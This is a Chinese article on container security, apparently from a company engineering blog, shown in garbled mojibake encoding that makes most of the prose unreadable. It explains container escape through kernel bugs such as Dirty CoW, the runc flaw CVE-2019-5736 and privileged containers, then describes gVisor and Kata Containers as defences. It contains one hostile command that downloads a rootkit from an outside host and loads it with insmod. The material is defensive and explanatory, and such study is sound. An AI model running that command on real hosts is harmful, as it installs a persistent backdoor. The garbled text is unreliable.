±à¼ÍƼö: |
±¾ÎÄÖ÷Òª½éÉÜÁËÔÆÔÉúµÄ¸ÅÊö¡¢ÈÝÆ÷·çÏÕ¡¢°²È«Êµ¼ù¡¢°²È«ÈÝÆ÷¼°°²È«Äں˵ȣ¬Ï£Íû¶ÔÄãµÄѧϰÓаïÖú¡£
±¾ÎÄÀ´×ÔÓÚÃÀÍż¼ÊõÍŶӣ¬ÓÉ»ðÁú¹ûÈí¼þLinda±à¼¡¢ÍƼö¡£ |
|
¸ÅÊö
ÔÆÔÉú£¨Cloud Native£©ÊÇÒ»Ì×¼¼ÊõÌåϵºÍ·½·¨ÂÛ£¬ËüÓÉ2¸ö´Ê×é³É£¬ÔÆ£¨Cloud£©ºÍÔÉú£¨Native£©¡£ÔÆ£¨Cloud£©±íʾӦÓóÌÐòλÓÚÔÆÖУ¬¶ø²»ÊÇ´«Í³µÄÊý¾ÝÖÐÐÄ£»ÔÉú£¨Native£©±íʾӦÓóÌÐò´ÓÉè¼ÆÖ®³õ¼´¿¼Âǵ½ÔƵĻ·¾³£¬ÔÉúÎªÔÆ¶øÉè¼Æ£¬ÔÚÔÆÉÏÒÔ×î¼Ñ״̬ÔËÐУ¬³ä·ÖÀûÓúͷ¢»ÓÔÆÆ½Ì¨µÄµ¯ÐԺͷֲ¼Ê½ÓÅÊÆ¡£
ÔÆÔÉúµÄ´ú±í¼¼Êõ°üÀ¨ÈÝÆ÷¡¢·þÎñÍø¸ñ£¨Service Mesh£©¡¢Î¢·þÎñ£¨Microservice£©¡¢²»¿É±ä»ù´¡ÉèÊ©ºÍÉùÃ÷ʽAPI¡£¸ü¶à¶ÔÓÚÔÆÔÉúµÄ½éÉÜÇë²Î¿¼CNCF/Foundation¡£

ͼ1 ÔÆÔÉú°²È«¼¼ÊõɳÅÌ£¨Security View£©
±ÊÕß½«¡°ÔÆÔÉú°²È«¡±³éÏó³ÉÈçÉÏͼËùʾµÄ¼¼ÊõɳÅÌ¡£×Ôµ×ÏòÉÏ¿´£¬µ×²ã´ÓÓ²¼þ°²È«£¨¿ÉÐÅ»·¾³£©µ½ËÞÖ÷»ú°²È«
¡£½«ÈÝÆ÷±àÅż¼Êõ£¨KubernetesµÈ£©¿´×÷ÔÆÉϵġ°²Ù×÷ϵͳ¡±£¬Ëü¸ºÔð×Ô¶¯»¯²¿Êð¡¢À©ËõÈÝ¡¢¹ÜÀíÓ¦Óõȡ£ÔÚËüÖ®ÉÏÓÉ΢·þÎñ¡¢Service
Mesh¡¢ÈÝÆ÷¼¼Êõ£¨DockerµÈ£©¡¢ÈÝÆ÷¾µÏñ£¨²Ö¿â£©×é³É¡£ËüÃÇÖ®¼äÏศÏà³É£¬ÒÔÕâЩ¼¼ÊõΪ»ù´¡¹¹½¨ÔÆÔÉú°²È«¡£
ÎÒÃÇÔÙ¶ÔÈÝÆ÷°²È«×öÒ»²ã³éÏó£¬ÓÖ¿ÉÒÔ¿´×÷¹¹½¨Ê±°²È«£¨Build£©¡¢²¿Êðʱ°²È«£¨Deployment£©¡¢ÔËÐÐʱ°²È«£¨Runtime£©¡£
ÔÚÃÀÍÅÄÚ²¿£¬¾µÏñ°²È«ÓÉÈÝÆ÷¾µÏñ·ÖÎöƽ̨±£ÕÏ¡£ËüÒÔ¹æÔòÒýÇæµÄÐÎʽÔËÓª¼à¹ÜÈÝÆ÷¾µÏñ£¬Ä¬ÈϹæÔòÖ§³Ö¶Ô¾µÏñÖÐDockerfile¡¢¿ÉÒÉÎļþ¡¢Ãô¸ÐȨÏÞ¡¢Ãô¸Ð¶Ë¿Ú¡¢»ù´¡Èí¼þ©¶´¡¢ÒµÎñÈí¼þ©¶´ÒÔ¼°CISºÍNISTµÄ×î¼Ñʵ¼ù×ö¼ì²é£¬²¢Ìṩ·çÏÕÇ÷ÊÆ·ÖÎö£¬Í¬Ê±ËüÈ·±£²¿·Ö¹¹½¨Ê±°²È«¡£
ÈÝÆ÷ÔÚÔÆÔÉú¼Ü¹¹ÏÂÓÉÈÝÆ÷±àÅż¼Êõ£¨ÀýÈçKubernetes£©¸ºÔð²¿Ê𣬲¿Êð°²È«Í¬Ê±Ò²ÓëÉÏÎÄÌá¼°µÄÈÝÆ÷±àÅŰ²È«Óн»¼¯¡£
ÔËÐа²È«¹Ü¿Ø½»ÓÉHIDS¸ºÔ𣨿ɲο¼¡¶±£ÕÏIDC°²È«£º·Ö²¼Ê½HIDS¼¯Èº¼Ü¹¹Éè¼Æ¡·Ò»ÎÄ£©¡£±¾ÎÄËùÌÖÂ۵ķ¶³ëÒ²ÊôÓÚÔËÐа²È«Ö®Ò»£¬Ö÷Òª½â¾öÒÔÈÝÆ÷ÌÓÒÝΪģÐ͹¹½¨µÄ·çÏÕ£¨ÔÚ±¾ÎÄÖУ¬ÈôÎÞÌØÊâ˵Ã÷£¬ÈÝÆ÷Ö¸´úDocker£©¡£
¶ÔÓÚ°²È«ÊµÊ©×¼Ôò£¬ÎÒÃǽ«Æä·ÖΪÈý¸ö½×¶Î£º
¹¥»÷ǰ£º²Ã¼ô¹¥»÷Ãæ£¬¼õÉÙ¶ÔÍⱩ¶µÄ¹¥»÷Ãæ£¨±¾ÎÄÉæ¼°µÄ³¡¾°¹Ø¼ü´Ê£º¸ôÀ룩£»
¹¥»÷ʱ£º½µµÍ¹¥»÷³É¹¦ÂÊ£¨±¾ÎÄÉæ¼°µÄ³¡¾°¹Ø¼ü´Ê£º¼Ó¹Ì£©£»
¹¥»÷ºó£º¼õÉÙ¹¥»÷³É¹¦ºó¹¥»÷ÕßËùÄÜ»ñÈ¡µÄÓмÛÖµµÄÐÅÏ¢¡¢Êý¾ÝÒÔ¼°Ôö¼ÓÁôºóÃŵÄÄѶȵȡ£
½üЩÄ꣬Êý¾ÝÖÐÐĵĻù´¡¼Ü¹¹Öð½¥´Ó´«Í³µÄÐéÄ⻯£¨ÀýÈçKVM+QEMU¼Ü¹¹£©×ªÏòÈÝÆ÷»¯£¨Kubernetes+Docker¼Ü¹¹£©£¬µ«¡°ÌÓÒÝ¡±Ê¼ÖÕ¶¼ÊÇÆóÒµÒªÔÚÕâ2Öּܹ¹ÏÂËùÃæ¶ÔµÄ×îÑϾþµÄ°²È«ÎÊÌ⣬ͬʱËüÒ²ÊÇÈÝÆ÷·çÏÕÖÐ×î¾ß´ú±íÐԵݲȫÎÊÌâ¡£±ÊÕß½«ÒÔÈÝÆ÷ÌÓÒÝΪÇÐÈëµã£¬´Ó¹¥»÷Õ߽Ƕȣ¨ÈÝÆ÷ÌÓÒÝ£©µ½·ÀÓùÕ߽Ƕȣ¨»º½âÈÝÆ÷ÌÓÒÝ£©À´²ûÊöÈÝÆ÷°²È«µÄʵ¼ù£¬´Ó¶ø»º½âÈÝÆ÷·çÏÕ¡£
ÈÝÆ÷·çÏÕ
ÈÝÆ÷ÌṩÁ˽«Ó¦ÓóÌÐòµÄ´úÂë¡¢ÅäÖá¢ÒÀÀµÏî´ò°üµ½µ¥¸ö¶ÔÏóµÄ±ê×¼·½·¨¡£ÈÝÆ÷½¨Á¢ÔÚÁ½Ïî¹Ø¼ü¼¼ÊõÖ®ÉÏ£ºLinux
NamespaceºÍLinux Cgroups¡£
Namespace´´½¨Ò»¸ö½üºõ¸ôÀëµÄÓû§¿Õ¼ä£¬²¢ÎªÓ¦ÓóÌÐòÌṩϵͳ×ÊÔ´£¨Îļþϵͳ¡¢ÍøÂçÕ»¡¢½ø³ÌºÍÓû§ID£©¡£CgroupÇ¿ÖÆÏÞÖÆÓ²¼þ×ÊÔ´£¬ÈçCPU¡¢ÄÚ´æ¡¢É豸ºÍÍøÂçµÈ¡£
ÈÝÆ÷ºÍVM²»Í¬Ö®´¦ÔÚÓÚ£¬VMÄ£ÄâÓ²¼þϵͳ£¬Ã¿¸öVM¶¼¿ÉÒÔÔÚ¶ÀÁ¢»·¾³ÖÐÔËÐÐOS¡£¹ÜÀí³ÌÐòÄ£ÄâCPU¡¢ÄÚ´æ¡¢´æ´¢¡¢ÍøÂç×ÊÔ´µÈ£¬ÕâЩӲ¼þ¿ÉÓɶà¸öVM¹²Ïí¶à´Î¡£

ͼ2 ÈÝÆ÷¹¥»÷Ãæ£¨Container Attack Surface£©
ÈÝÆ÷Ò»¹²ÓÐ7¸ö¹¥»÷Ãæ£ºLinux Kernel¡¢Namespace/Cgroups/Aufs¡¢Seccomp-bpf¡¢Libs¡¢Language
VM¡¢User Code¡¢Container(Docker) engine¡£
±ÊÕßÒÔÈÝÆ÷ÌÓÒÝΪ·çÏÕÄ£ÐÍ£¬ÌáÁ¶³ö3¸ö¹¥»÷Ãæ£º
LinuxÄں˩¶´£»
ÈÝÆ÷×ÔÉí£»
²»°²È«²¿Êð£¨ÅäÖã©¡£
1. LinuxÄں˩¶´
ÈÝÆ÷µÄÄÚºËÓëËÞÖ÷Äں˹²Ïí£¬Ê¹ÓÃNamespaceÓëCgroupsÕâÁ½Ïî¼¼Êõ£¬Ê¹ÈÝÆ÷ÄÚµÄ×ÊÔ´ÓëËÞÖ÷»ú¸ôÀ룬ËùÒÔLinuxÄں˲úÉúµÄ©¶´Äܵ¼ÖÂÈÝÆ÷ÌÓÒÝ¡£
ÄÚºËÌáȨVSÈÝÆ÷ÌÓÒÝ
ͨÓÃLinuxÄÚºËÌáȨ·½·¨ÂÛ
ÐÅÏ¢ÊÕ¼¯£ºÊÕ¼¯Ò»ÇжÔдexploitÓаïÖúµÄÐÅÏ¢¡£ È磺Äں˰汾£¬ÐèҪȷ¶¨¹¥»÷µÄÄÚºËÊÇʲô°æ±¾£¿
Õâ¸öÄں˰汾¿ªÆôÁËÄÄЩ¼Ó¹ÌÅäÖã¿ »¹ÐèÖªµÀÔÚдshellcodeµÄʱºò»áµ÷ÓÃÄÄЩÄں˺¯Êý£¿Õâʱºò¾ÍÐèÒª²éѯÄں˷ûºÅ±í£¬µÃµ½º¯ÊýµØÖ·¡£
»¹¿É´ÓÄÚºËÖеõ½Ò»Ð©¶Ô±àдÀûÓÃÓаïÖúµÄµØÖ·ÐÅÏ¢¡¢½á¹¹ÐÅÏ¢µÈµÈ¡£
´¥·¢½×¶Î£º´¥·¢Ïà¹ØÂ©¶´£¬¿ØÖÆRIP£¬½Ù³ÖÄں˴úÂë·¾¶£¬¼ò¶øÑÔÖ®£¬»ñÈ¡ÔÚÄÚºËÖÐÈÎÒâÖ´ÐдúÂëµÄÄÜÁ¦¡£
²¼ÖÃshellcode£ºÔÚ±àдÄÚºËexploit´úÂëµÄʱºò£¬ÐèÒªÕÒµ½Ò»¿éÄÚ´æÀ´´æ·ÅÎÒÃǵÄshellcode
¡£ Õâ¿éÄÚ´æÖÁÉÙµÃÂú×ãÁ½¸öÌõ¼þ£º
µÚÒ»£ºÔÚ´¥·¢Â©¶´Ê±£¬ÎÒÃÇÒª½Ù³Ö´úÂë·¾¶£¬±ØÐë±£Ö¤´úÂë·¾¶¿ÉÒÔµ½´ï´æ·ÅshellcodeµÄÄÚ´æ¡£
µÚ¶þ£ºÕâ¿éÄÚ´æÊÇ¿ÉÒÔ±»Ö´Ðе쬻»¾ä»°Ëµ£¬´æ·ÅshellcodeµÄÕâ¿éÄÚ´æ¾ßÓпÉÖ´ÐÐȨÏÞ¡£
Ö´Ðн׶Î
µÚÒ»£º»ñÈ¡¸ßÓÚµ±Ç°Óû§µÄȨÏÞ£¬Ò»°ãÎÒÃǶ¼ÊÇÖ±½Ó»ñÈ¡rootȨÏÞ£¬±Ï¾¹ËüÊÇLinuxÖеÄ×î¸ßȨÏÞ£¬Ò²¾ÍÊÇÖ´ÐÐÎÒÃǵÄshellcode¡£
µÚ¶þ£º±£Ö¤ÄÚºËÎȶ¨£¬²»ÄÜÒòΪÎÒÃÇÐèÒªÌáȨ¶øÆÆ»µÔÀ´Äں˵ĴúÂë·¾¶¡¢Äں˽ṹ¡¢ÄÚºËÊý¾ÝµÈµÈ£¬¶øµ¼ÖÂÄں˱ÀÀ£¡£ÕâÑùµÄ»°£¬¼´Ê¹µÃµ½rootȨÏÞҲûÓÐÌ«´óµÄÒâÒå¡£
¼ò¶øÑÔÖ®£¬ÊÕ¼¯¶Ô±àдexploitÓаïÖúµÄÐÅÏ¢£¬È»ºó´¥·¢Â©¶´È¥Ö´ÐÐÌØÈ¨´úÂ룬´ïµ½ÌáȨµÄЧ¹û¡£

ͼ3 ÈÝÆ÷ÌÓÒݼòÒ×Ä£ÐÍ£¨Container Escape Model£©
ÈÝÆ÷ÌÓÒݺÍÄÚºËÌáȨֻÓÐϸ΢µÄ²î±ð£¬ÐèÒªÍ»ÆÆnamespaceµÄÏÞÖÆ¡£½«¸ßȨÏÞµÄnamespace¸³µ½exploit½ø³ÌµÄtask_structÖС£Õⲿ·ÖµÄÏêϸ¼¼Êõϸ½Ú²»ÔÚ±¾ÎÄÌÖÂÛ·¶Î§ÄÚ£¬±ÊÕßδÀ´»á³é¿ÕÔÙдһƪ¹ØÓÚÈÝÆ÷ÌÓÒݵļ¼ÊõÎÄÕ£¬Ïêϸ½éÉܸÃÏà¹Ø¼¼ÊõµÄϸ½Ú¡£
¾µäµÄDirty CoW
±ÊÕßÒÔDirty CoW©¶´À´ËµÃ÷Linux©¶´µ¼ÖµÄÈÝÆ÷ÌÓÒÝ¡£Â©¶´ËäÀÏ£¬ÄκÎÌ«¹ý¾µä¡£Ð´µ½Õ⣬±ÊÕß²»½ûÏëÎÊ£º¶àÄê¹ýÈ¥£¬Ä¿Ç°¹úÄÚÍâ¸÷´ó³§£¬Dirty
Cow©¶´µÄ´æÁ¿»úÆ÷ÐÞ¸´ÂÊÊǶàÉÙ£¿
ÔÚLinuxÄں˵ÄÄÚ´æ×Óϵͳ´¦Àí˽ÓÐÖ»¶ÁÄÚ´æÓ³ÉäµÄдʱ¸´ÖÆ£¨Copy-on-Write£¬CoW£©»úÖÆµÄ·½Ê½Öз¢ÏÖÁËÒ»¸ö¾ºÕù³åÍ»¡£Ò»¸öûÓÐÌØÈ¨µÄ±¾µØÓû§£¬¿ÉÄÜ»áÀûÓôË©¶´»ñµÃ¶ÔÆäËûÇé¿öÏÂÖ»¶ÁÄÚ´æÓ³ÉäµÄд·ÃÎÊȨÏÞ£¬´Ó¶øÔö¼ÓËûÃÇÔÚϵͳÉϵÄÌØÈ¨£¬Õâ¾ÍÊÇÖªÃûµÄDirty
CoW©¶´¡£
Dirty CoW©¶´µÄÌÓÒݵÄʵÏÖ˼·ºÍÉÏÊöµÄ˼·²»Ì«Ò»Ñù£¬²ÉÈ¡Overwrite vDSO¼¼Êõ¡£
vDSO£¨Virtual Dynamic Shared Object£©ÊÇÄÚºËΪÁ˼õÉÙÄÚºËÓëÓû§¿Õ¼äƵ·±Çл»£¬Ìá¸ßϵͳµ÷ÓÃЧÂʶøÉè¼ÆµÄ»úÖÆ¡£ËüͬʱӳÉäÔÚÄں˿ռäÒÔ¼°Ã¿Ò»¸ö½ø³ÌµÄÐéÄâÄÚ´æÖУ¬°üÀ¨ÄÇЩÒÔrootȨÏÞÔËÐеĽø³Ì¡£Í¨¹ýµ÷ÓÃÄÇЩ²»ÐèÒªÉÏÏÂÎÄÇл»£¨context
switching£©µÄϵͳµ÷ÓÿÉÒÔ¼Ó¿ìÕâÒ»²½Ö裨¶¨Î»vDSO£©¡£vDSOÔÚÓû§¿Õ¼ä£¨userspace£©Ó³ÉäΪR/X£¬¶øÔÚÄں˿ռ䣨kernelspace£©ÔòΪR/W¡£ÕâÔÊÐíÎÒÃÇÔÚÄں˿ռäÐÞ¸ÄËü£¬½Ó×ÅÔÚÓû§¿Õ¼äÖ´ÐС£ÓÖÒòΪÈÝÆ÷ÓëËÞÖ÷»úÄں˹²Ïí£¬ËùÒÔ¿ÉÒÔÖ±½ÓʹÓÃÕâÏî¼¼ÊõÌÓÒÝÈÝÆ÷¡£
ÀûÓò½ÖèÈçÏ£º
»ñÈ¡vDSOµØÖ·£¬ÔÚаæµÄglibcÖпÉÒÔÖ±½Óµ÷ÓÃgetauxval()º¯Êý»ñÈ¡£»
ͨ¹ývDSOµØÖ·ÕÒµ½clock_gettime()º¯ÊýµØÖ·£¬¼ì²éÊÇ·ñ¿ÉÒÔhijack£»
´´½¨¼àÌýsocket£»
´¥·¢Â©¶´£¬Dirty CoWÊÇÓÉÓÚÄÚºËÄÚ´æ¹ÜÀíϵͳʵÏÖCoWʱ²úÉúµÄ©¶´¡£Í¨¹ýÌõ¼þ¾ºÕù£¬°ÑÎÕºÃÔÚÇ¡µ±µÄʱ»ú£¬ÀûÓÃCoWµÄÌØÐÔ¿ÉÒÔ½«ÎļþµÄread-onlyÓ³Éä¸ÃΪwrite¡£×Ó½ø³Ì²»Í£µØ¼ì²éÊÇ·ñ³É¹¦Ð´Èë¡£¸¸½ø³Ì´´½¨¶þ¸öỊ̈߳¬ptrace_threadÏß³ÌÏòvDSOдÈëshellcode¡£madvise_threadÏß³ÌÊÍ·ÅvDSOÓ³Éä¿Õ¼ä£¬Ó°Ïìptrace_threadÏß³ÌCoWµÄ¹ý³Ì£¬²úÉúÌõ¼þ¾ºÕù£¬µ±Ìõ¼þ´¥·¢¾ÍÄÜдÈë³É¹¦¡£
Ö´ÐÐshellcode£¬µÈ´ý´ÓËÞÖ÷»ú·µ»Øroot shell£¬³É¹¦ºó»Ö¸´vDSOÔʼÊý¾Ý¡£
2. ÈÝÆ÷×ÔÉí
ÎÒÃÇÏȼòµ¥µÄ¿´Ò»ÏÂDockerµÄ¼Ü¹¹Í¼£º

ͼ4 Docker¼Ü¹¹Í¼
Docker±¾ÉíÓÉDocker£¨Docker Client£©ºÍDockerd£¨Docker Daemon£©×é³É¡£µ«´ÓDocker
1.11¿ªÊ¼£¬Docker²»ÔÙÊǼòµ¥µÄͨ¹ýDocker DameonÀ´Æô¶¯£¬¶øÊǼ¯³ÉÐí¶à×é¼þ£¬°üÀ¨containerd¡¢runcµÈµÈ¡£
Docker ClientÊÇDockerµÄ¿Í»§¶Ë³ÌÐò£¬ÓÃÓÚ½«Óû§ÇëÇó·¢Ë͸øDockerd¡£Dockerdʵ¼Êµ÷ÓõÄÊÇcontainerdµÄAPI½Ó¿Ú£¬containerdÊÇDockerdºÍruncÖ®¼äµÄÒ»¸öÖм佻Á÷×é¼þ£¬Ö÷Òª¸ºÔðÈÝÆ÷ÔËÐС¢¾µÏñ¹ÜÀíµÈ¡£containerdÏòÉÏΪDockerdÌṩÁËgRPC½Ó¿Ú£¬Ê¹µÃDockerdÆÁ±ÎÏÂÃæµÄ½á¹¹±ä»¯£¬È·±£ÔÓнӿÚÏòϼæÈÝ£»ÏòÏ£¬Í¨¹ýcontainerd-shimÓërunc½áºÏ´´½¨¼°ÔËÐÐÈÝÆ÷¡£¸ü¶àµÄÏà¹ØÄÚÈÝ£¬Çë²Î¿¼ÎÄÄ©Á´½Órunc¡¢containerd¡¢architecture¡£Á˽âÇå³þÕâЩ֮ºó£¬ÎÒÃǾͿÉÒÔ½áºÏ×ÔÉíµÄ°²È«¾Ñ飬´ÓÕâЩ×é¼þÏ໥¼äµÄͨÐÅ·½Ê½¡¢ÒÀÀµ¹ØÏµµÈѰÕÒÄܵ¼ÖÂÌÓÒݵÄ©¶´¡£
ÏÂÃæÎÒÃÇÒÔDockerÖеÄrunc×é¼þËù²úÉúµÄ©¶´À´ËµÃ÷ÒòÈÝÆ÷×ÔÉíµÄ©¶´¶øµ¼ÖµÄÌÓÒÝ¡£
CVE-2019-5736£ºrunc - container breakout vulnerability
runcÔÚʹÓÃÎļþϵͳÃèÊö·ûʱ´æÔÚ©¶´£¬¸Ã©¶´¿Éµ¼ÖÂÌØÈ¨ÈÝÆ÷±»ÀûÓã¬Ôì³ÉÈÝÆ÷ÌÓÒÝÒÔ¼°·ÃÎÊËÞÖ÷»úÎļþϵͳ£»¹¥»÷ÕßÒ²¿ÉÒÔʹÓöñÒâ¾µÏñ£¬»òÐÞ¸ÄÔËÐÐÖеÄÈÝÆ÷ÄÚµÄÅäÖÃÀ´ÀûÓôË©¶´¡£
¹¥»÷·½Ê½1£º£¨¸Ã;¾¶ÐèÒªÌØÈ¨ÈÝÆ÷£©ÔËÐÐÖеÄÈÝÆ÷±»ÈëÇÖ£¬ÏµÍ³Îļþ±»¶ñÒâ´Û¸Ä ==> ËÞÖ÷»úÔËÐÐdocker
execÃüÁÔÚ¸ÃÈÝÆ÷Öд´½¨Ð½ø³Ì ==> ËÞÖ÷»úrunc±»Ì滻Ϊ¶ñÒâ³ÌÐò ==> ËÞÖ÷»úÖ´ÐÐdocker
run/exec ÃüÁîʱ´¥·¢Ö´ÐжñÒâ³ÌÐò£»
¹¥»÷·½Ê½2£º£¨¸Ã;¾¶ÎÞÐèÌØÈ¨ÈÝÆ÷£©docker runÃüÁîÆô¶¯Á˱»¶ñÒâÐ޸ĵľµÏñ ==> ËÞÖ÷»úrunc±»Ì滻Ϊ¶ñÒâ³ÌÐò
==> ËÞÖ÷»úÔËÐÐdocker run/execÃüÁîʱ´¥·¢Ö´ÐжñÒâ³ÌÐò¡£
µ±runcÔÚÈÝÆ÷ÄÚÖ´ÐÐеijÌÐòʱ£¬¹¥»÷Õß¿ÉÒÔÆÛÆËüÖ´ÐжñÒâ³ÌÐò¡£Í¨¹ýʹÓÃ×Ô¶¨Òå¶þ½øÖÆÎļþÌæ»»ÈÝÆ÷ÄÚµÄÄ¿±ê¶þ½øÖÆÎļþÀ´ÊµÏÖÖ¸»Ørunc¶þ½øÖÆÎļþ¡£
Èç¹ûÄ¿±ê¶þ½øÖÆÎļþÊÇ/bin/bash£¬¿ÉÒÔÓÃÖ¸¶¨½âÊÍÆ÷µÄ¿ÉÖ´Ðнű¾Ìæ»»#!/proc/self/exe¡£Òò´Ë£¬ÔÚÈÝÆ÷ÄÚÖ´ÐÐ/bin/bash£¬/proc/self/exeµÄÄ¿±ê½«±»Ö´ÐУ¬½«Ä¿±êÖ¸Ïòrunc¶þ½øÖÆÎļþ¡£
È»ºó¹¥»÷Õß¿ÉÒÔ¼ÌÐøÐ´Èë/proc/self/exeÄ¿±ê£¬³¢ÊÔ¸²¸ÇÖ÷»úÉϵÄrunc¶þ½øÖÆÎļþ¡£ÕâÀïÐèҪʹÓÃO_PATH
flag´ò¿ª/proc/self/exeÎļþÃèÊö·û£¬È»ºóÒÔO_WRONLY flag ͨ¹ý/proc/self/fd/ÖØÐ´ò¿ª¶þ½øÖÆÎļþ£¬²¢ÇÒÓõ¥¶ÀµÄÒ»¸ö½ø³Ì²»Í£µØÐ´Èë¡£µ±Ð´Èë³É¹¦Ê±£¬runc»áÍ˳ö¡£
3. ²»°²È«²¿Êð£¨ÅäÖã©
ÔÚʵ¼ÊÖУ¬ÎÒÃǾ³£»áÓöµ½ÕâÖÖ×´¿ö£º²»Í¬µÄÒµÎñ»á¸ù¾Ý×ÔÉíÒµÎñÐèÇóÌṩһÌ××Ô¼ºµÄÅäÖ㬶øÕâÌ×ÅäÖò¢Î´µÃµ½ÓÐЧµÄ¹Ü¿ØÉ󼯣¬Ê¹µÃÄÚ²¿»·¾³±äµÃ¸´ÔÓ¶àÑù£¬ÎÞÐÎÖ®ÖÐÓÖÔö¼ÓÁ˺ܶà·çÏյ㡣×î³£¼ûµÄ°üÀ¨£º
ÌØÈ¨ÈÝÆ÷»òÕßÒÔrootȨÏÞÔËÐÐÈÝÆ÷£»
²»ºÏÀíµÄCapabilityÅäÖã¨È¨ÏÞ¹ý´óµÄCapability£©¡£
Ãæ¶ÔÌØÈ¨ÈÝÆ÷£¬ÔÚÈÝÆ÷ÄÚ¼òµ¥µØÖ´ÐÐÒ»ÏÂÃüÁ¾Í¿ÉÒÔÇáËɵØÔÚËÞÖ÷»úÉÏÁôϺóÃÅ£º
$ wget https://kernfunny.org/backdoor/rootkit.ko
&& insmod rootkit.ko |
ĿǰÔÚÃÀÍÅÄÚ²¿£¬ÎÒÃÇÒѾÓÐЧµØÊÕÁ²ÁËÌØÈ¨ÈÝÆ÷ÎÊÌâ¡£
Õⲿ·ÖÒµ½çÒѾ¸ø³öÁË×î¼Ñʵ¼ù£¬´ÓËÞÖ÷»úÅäÖá¢DockerdÅäÖá¢ÈÝÆ÷¾µÏñ¡¢Dockerfile¡¢ÈÝÆ÷ÔËÐÐʱµÈ·½Ãæ±£ÕÏÁ˰²È«£¬¸ü¶àϸ½ÚÇë²Î¿¼Benchmark/Docker¡£Í¬Ê±Docker¹Ù·½ÒѾ½«ÆäʵÏÖ³É×Ô¶¯»¯¹¤¾ß£¨gVisor£©¡£
°²È«Êµ¼ù
Ϊ½â¾öÉÏÊö²¿·ÖËù²ûÊöµÄÈÝÆ÷ÌÓÒÝÎÊÌ⣬ÏÂÎĽ«Öصã´Ó¸ôÀ루°²È«ÈÝÆ÷£©Óë¼Ó¹Ì£¨°²È«Äںˣ©Á½¸ö½Ç¶ÈÀ´½øÐÐÌÖÂÛ¡£
°²È«ÈÝÆ÷
°²È«ÈÝÆ÷µÄ¼¼Êõ±¾ÖʾÍÊǸôÀë¡£gVisorºÍKata ContainerÊDZȽϾßÓдú±íÐÔµÄʵÏÖ·½Ê½£¬Ä¿Ç°Ñ§Êõ½çÒ²ÔÚ̽Ë÷»ùÓÚIntel
SGXµÄ°²È«ÈÝÆ÷¡£
¼òµ¥µØËµ£¬gVisorÊÇÔÚÓû§Ì¬ºÍÄÚºË̬֮¼ä³éÏó³öÒ»²ã£¬·â×°³ÉAPI£¬ÓеãÏñuser-mode kernel£¬ÒÔ´ËʵÏÖ¸ôÀë¡£Kata
Container²ÉÓÃÁËÇáÁ¿¼¶µÄÐéÄâ»ú¸ôÀ룬Ó봫ͳµÄVM±È½ÏÀàËÆ£¬µ«ÊÇËüʵÏÖÁËÎ޷켯³Éµ±Ç°µÄKubernetes¼ÓDocker¼Ü¹¹¡£ÎÒÃǽÓ×ÅÀ´¿´gVisorÓëKata
ContainerµÄÒìͬ¡£
Case 1: gVisor
gVisorÊÇÓÃGolang±àдµÄÓû§Ì¬Äںˣ¬»òÕß˵ÊÇɳÏä¼¼Êõ£¬ËüÖ÷ҪʵÏÖÁ˴󲿷ֵÄsystem
call¡£ËüÔËÐÐÔÚÓ¦ÓóÌÐòºÍÄÚºËÖ®¼ä£¬ÎªËüÃÇÌṩ¸ôÀë¡£gVisor±»Ê¹ÓÃÔÚGoogleÔÆ¼ÆËãÆ½Ì¨µÄApp
Engine¡¢Cloud FunctionsºÍCloud MLÖС£gVisorÔËÐÐʱ£¬ÊÇÓɶà¸öɳÏä×é³É£¬ÕâЩɳÏä½ø³Ì¹²Í¬¸²¸ÇÁËÒ»¸ö»ò¶à¸öÈÝÆ÷¡£Í¨¹ýÀ¹½Ø´ÓÓ¦ÓóÌÐòµ½Ö÷»úÄں˵ÄËùÓÐϵͳµ÷Ó㬲¢Ê¹ÓÃÓû§¿Õ¼äÖеÄSentry´¦ÀíËüÃÇ£¬gVisor³äµ±guest
kernelµÄ½ÇÉ«£¬ÇÒÎÞÐèͨ¹ýÐéÄ⻯Ӳ¼þת»»£¬¿ÉÒÔ½«Ëü¿´×övmmÓëguest kernelµÄ¼¯ºÏ£¬»òÊÇseccompµÄÔöÇ¿°æ¡£

ͼ5 gVisor¼Ü¹¹Í¼£¨À´×ÔgVisor)
Case 2: Kata Container
Kata ContainerµÄContainer RuntimeÊÇÓÃhypervisor £¬È»ºóÓÃhardware
virtualizationʵÏÖ£¬ÈçͬÐéÄâ»ú¡£ËùÒÔÿһ¸öÏñÕâÑùµÄKata ContainerµÄPod£¬¶¼ÊÇÒ»¸öÇáÁ¿¼¶ÐéÄâ»ú£¬ËüÓµÓÐÍêÕûµÄLinuxÄںˡ£ËùÒÔKata
ContainerÓëVMÒ»ÑùÄÜÌṩǿ¸ôÀëÐÔ£¬µ«ÓÉÓÚËüµÄÓÅ»¯ºÍÐÔÄÜÉè¼Æ£¬Í¬Ê±Ò²ÓµÓÐÓëÈÝÆ÷ÏàæÇÃÀµÄÃô½ÝÐÔ¡£

ͼ6 Kata Container ¼Ü¹¹Í¼£¨Í¼Æ¬À´×ÔKatacontainers.io£©
Kata ContainerÔÚÖ÷»úÉÏÓÐÒ»¸ökata-runtimeÀ´Æô¶¯ºÍÅäÖÃÐÂÈÝÆ÷¡£¶ÔÓÚKata
VMÖеÄÿ¸öÈÝÆ÷£¬Ö÷»úÉ϶¼ÓÐÏàÓ¦µÄKata Shim¡£ Kata Shim½ÓÊÕÀ´×Ô¿Í»§¶ËµÄAPIÇëÇó£¨ÀýÈçDocker»òkubectl£©£¬²¢Í¨¹ýVSock½«ÇëÇóת·¢¸øKata
VMÄڵĴúÀí¡£ KataÈÝÆ÷½øÒ»²½ÓÅ»¯ÒÔ¼õÉÙVMÆô¶¯Ê±¼ä¡£ ʹÓÃQEMUµÄÇáÁ¿¼¶°æ±¾NEMU£¬É¾³ýÁËÔ¼80£¥µÄÉ豸ºÍ°ü¡£
VM-Templating´´½¨ÔËÐÐKata VMʵÀýµÄ¿Ë¡£¬²¢ÓëÆäËûд´½¨µÄKata VM¹²Ïí£¬ÕâÑù¼õÉÙÁËÆô¶¯Ê±¼äºÍGuest
VMÄÚ´æÏûºÄ¡£ Hotplug¹¦ÄÜÔÊÐíVMʹÓÃ×îÉÙµÄ×ÊÔ´£¨ÀýÈçCPU¡¢ÄÚ´æ¡¢virtio¿é£©½øÐÐÒýµ¼£¬²¢ÔÚÒÔºóÇëÇóʱÌí¼ÓÆäËû×ÊÔ´¡£
gVisor VS Kata Container

